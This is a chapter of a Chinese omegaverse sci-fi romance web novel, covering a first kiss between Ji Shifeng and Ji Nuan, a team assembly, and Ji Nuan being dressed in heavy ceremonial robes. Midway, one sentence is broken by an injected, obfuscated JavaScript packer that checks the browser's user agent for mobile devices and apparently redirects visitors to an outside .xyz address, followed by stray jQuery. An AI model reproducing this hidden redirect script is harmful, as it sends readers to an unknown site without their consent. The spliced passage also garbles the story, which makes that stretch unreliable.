季时风和她不一样。

    他在这个世界有亲人、朋友,这样的一句话背后是他要抛弃许多东西。

    话不说出口也就罢了,一旦说出来就真的什么都不能改变了。

    纪暖不能因为自己的“后路”而断送另一个人的未来。

    季时风眼睛湿漉漉的,伸手握住纪暖的手指,将它从自己的嘴上扯了下来。

    他明白纪暖说的都是为了他考虑。

    季时风可怜兮兮地看着Beta:“那你还理我吗?”

    这话说得像只被抛弃的小狗一样,他把自己的脑袋放在了纪暖的掌心中,歪着头看着面前的少女。

    纪暖对他这幅样子毫无抵抗力,用另一只手揉了揉他蓬乱的灰发,那只托着他下巴的手忍不住挠了挠他。

    她轻笑:“明明是你不理我,怎么变成我不理你了?”

    季时风也跟着笑,他坐直了一些,往纪暖那边挪了挪,非要和Beta靠在一起才肯作罢。

    他不想两人存在误会,将这些天冷淡的原因一股脑地说了出来。

    “是姐姐。”他缓缓说,“她让我别卷入你和沈焱之间的事情,说这是他们沈家的家事。”

    纪暖惊奇:“这话告诉我合适吗?”

    季时风笑:“有什么不合适的,我不想我们之间存在误会。”

    他说:“我和姐姐说了,你不是沈家人,这也不是沈家的事情。姐姐很生气,应是在我的训练表上有添了好多内容,搞得我都没什么休息时间……”

    他在这里说得绘声绘色,一偏头却对上了纪暖狐疑的眼神。

    纪暖:“……真的吗……?可我每次看你,你总要躲开……这总不能是我的错觉吧?”

    季时风不自在地咳了咳,身体有一瞬的僵硬。

    “咳咳……嗯,好吧,我承认,上次你的问题确实让我有些纠结,但是就一点点,一点点点……”

    他伸手比了个手势,两根手指之间的缝隙都快并拢了,硬是挤出了一条微不可察的缝隙,用来印证他说的话。

    纪暖忍不住笑了出来。

    她玩笑似的拍了拍季时风的脑袋,安抚小狗不安的心情。

    她沉默地看着一成不变的宇宙,面前的景色和她这段时间看去的并没有任何区别。

    好似他们度过的时间对于宇宙来说只不过是沙漠里的一颗尘埃。

    季时风安静地陪着她,享受着难得宁静。

    好像只有在纪暖身边的时候,他的心绪才不会变得那么浮躁,一直以来因为精神力使用过度的疲惫也能得到一丝舒展。

    纪暖感受着身边人起伏的呼吸,脑子里的系统难得的安静,让她有一种不再被监视的错觉。

    突然,她的唇角感受到了一抹柔软,一个温热的东西轻触在她的唇边,一触即分,快得让Beta差点误以为是自己的错觉。

    少年的呼吸倾洒在她的耳朵上,让Beta的耳尖腾得一下变得嫣红。

    她猛地扭头,少年正眼睛亮亮地看着自己,眼神中的紧张和忐忑几乎都要溢出来了。

    季时风像做贼一样,心虚得说话都结巴起来。

    “你你你不要这样看我……”

    纪暖觉得好笑,这种时候季时风竟然意外的纯情,仿佛之前几次发情期的时候黏在她身上的人不是Oga一样。

    Beta伸出双手,轻柔地捧着季时风的脸蛋,手掌下柔软的触感无时无刻提醒她面前Oga是在正常的状态下,没有发情。

    金色的眼瞳和黑色的眼瞳相对,那点点金色像是深空中的星辰,一点点沉溺在纪暖的眼中。

    她看见季时风的瞳孔微微震颤,在对方错愕的目光中迎了上去,双唇轻轻覆在了对方的唇上。

    柔软的触感仿佛在瞬间扯走了季时风所有的理智。

    他从脖领到头顶一溜烟地红了上去。

    双唇轻触后便分开了。

    纪暖看着面前红透了的Oga眼睛笑弯了。

    “怎么了?”

    季时风愣愣的没有反应过来,在盯着纪暖的眼睛几秒钟后,仿佛突然间意识到了刚才发生了什么。

    他猛地把头扎进了纪暖的颈窝,涨红的面颊贴在纪暖微凉的肌肤上,柔软的灰发有些扎人,突兀地杵在纪暖的面颊上。

    他像小狗一样地在颈边蹭了蹭,闷闷地说:“……有点突然。”

    纪暖笑着说:“你这样说得好像我是个流氓一样,明明是你先亲我的。”

    季时风没有再说话。

    纪暖能感受到他疯狂跳动的心跳声,扑通扑通的。

    纪暖就这么任由他靠着,目光落在漆黑的宇宙中,点点星光又让她想到了季时风金色的眼瞳。

    她不由得望出了神。

    系统很识相地没有蹦出来打扰她的好心情。

    也不知过了多久,依靠在她身上的Oga呼吸渐缓,然而他的心跳一直在热烈地跳动着。

    纪暖想了想,看了眼自己为数不多的积分,做了个决定。

    【系统,帮我对季时风做个全面的体检。】

    *

    房门被敲响的时候季时风还有点恍惚。

    他记得昨天晚上去找纪暖说话,两个人……

    一想到这里他的脸便不自觉地发烫。

    昨天晚上的情况和他在发情期时候做的事情很不一样,一种是无意识状态,一种是清醒状态,更何况那是纪暖第一次给他回应。

    咚咚咚。

    “你醒了吗?”门口传来了重忠的声音,“要集合了,开幕式马上要开始了。”

    听到门口的声音不是自己预想中的那个人,季时风有一刻的失落。

    他匆匆收拾了一下,穿上了统一的队服。

    “就来。”

    重忠应该在门口等了有一段时间了,他看起来有些焦急。

    看到季时风身影的时候总算松了口气。

    “就差你了,季将军让我来找你。”

    季时风刚睡醒有些迷糊,他突然想起自己昨天晚上好像在廊间睡着了,后面是怎么回的房间……?

    难道是纪暖把他扛回来的……?

    等他们俩赶到集合地的时候,其他人已经在登船口等着了。

    季念扫了眼弟弟,清点了一下人数:“既然人到齐了,那我们就准备出发吧。”

    季时风的目光忍不住看向纪暖。

    Beta混在人群中站着,修

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302288|165251||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    长的统一作战服衬得她身材姣好,黑色的眸子宛如宝石熠熠生辉。

    但纪暖却连一个眼神都没有分给他,自顾自地盯着登船口的方向,就好像昨天晚上发生的事情只是他的幻觉。

    又或者心动的只有他一个……?

    ……这么渣?

    季时风晃了晃脑袋,把这些不切实际的想法全都抛在脑后。

    Oga过于炙热的目光却吸引到了另外两个人的注意。

    季念的目光从他出现的那一刻就没挪开过,傻子都看得出来这眼神代表着什么。

    而沈焱的目光却也死死地盯着季时风,不知道是因为他的目光太过炙热,还是因为季念的眼神落在他身上。

    Alpha的眼神中透着失控和妒忌,但可能连他自己都分不清这一份妒忌是因为谁。

    纪暖像个木头人一样,在陈瑶身边笔直地站着。

    此刻纪暖的意识并不在她的本体中,相比起这里的平静,昼景和那里就要激烈的多——他们正试图往纪暖的身上套上繁琐的真主教服饰。

    昼景和就在一旁盯着,为了不露馅,纪暖不得不将意识传送过来。

    刚一过来,就被沉重的礼服压得一口气差点没上来。

    也许是她的痛苦太明显了,都写在脸上了,昼景和不得不中断了这场痛苦的穿衣大会。

    纪暖深吸一口气:“……大人,这衣服也太繁琐了。”

    里三层外三层的,仿佛在身上裹了十几层被套。

    最里面的衣服紧紧地箍着她的肋骨,那种疼痛甚至都传送到她的本体上了。

    昼景和顿了顿,支使着两名帮她穿衣服的修女说:“帮她松一些,另外最里面的几层衣服不用套了,反正也看不出来。”

    纪暖冲他笑了笑,眉目间满是感激。

    她看向门口,那里站着两名敬职敬业的骑士。

    自从上次她和昼景和说过骑士性别这件事之后,神之子便让人换了两名女性Beta过来值守。

    好不容易将繁杂的衣服套上,纪暖尝试着迈出一小步,差点被沉重地衣服拖着摔在地上。

    她的小臂被人稳稳扶住,刚才还站在门边的Alpha不知什么时候走到了她身边。

    昼景和扶起纪暖:“太重了?”

    纪暖点了点头。

    这段时间“纪白”这具身体在昼景和这里被养的太好了。

    不需要训练,不需要打工,甚至连重活都不用做,那些修女骑士会帮她把一切打理好,有什么他们不能解决的只要告诉昼景和也都能处理好。

    即便是替身人偶,那些锻炼出来的肌肉也因为这段时间的松懈而逐渐消失了。

    昼景和将她的手搭在了自己的臂弯,他抚着纪暖的腰背,帮助她重新挺直腰杆,好撑起厚重的裙摆。

    “把重量放在我身上吧,”昼景和附在纪暖耳边轻声说,“裙子太重的话我帮你承担。”

    纪暖看着他清俊的侧脸,有一瞬的恍惚。

    可眼下的情况,她如果不依靠昼景和根本很难行走,这还是在除去两件衣服的情况下。

    “……好。”纪暖垂首应了一声。

    这一次“纪白”好像……不得不依赖了。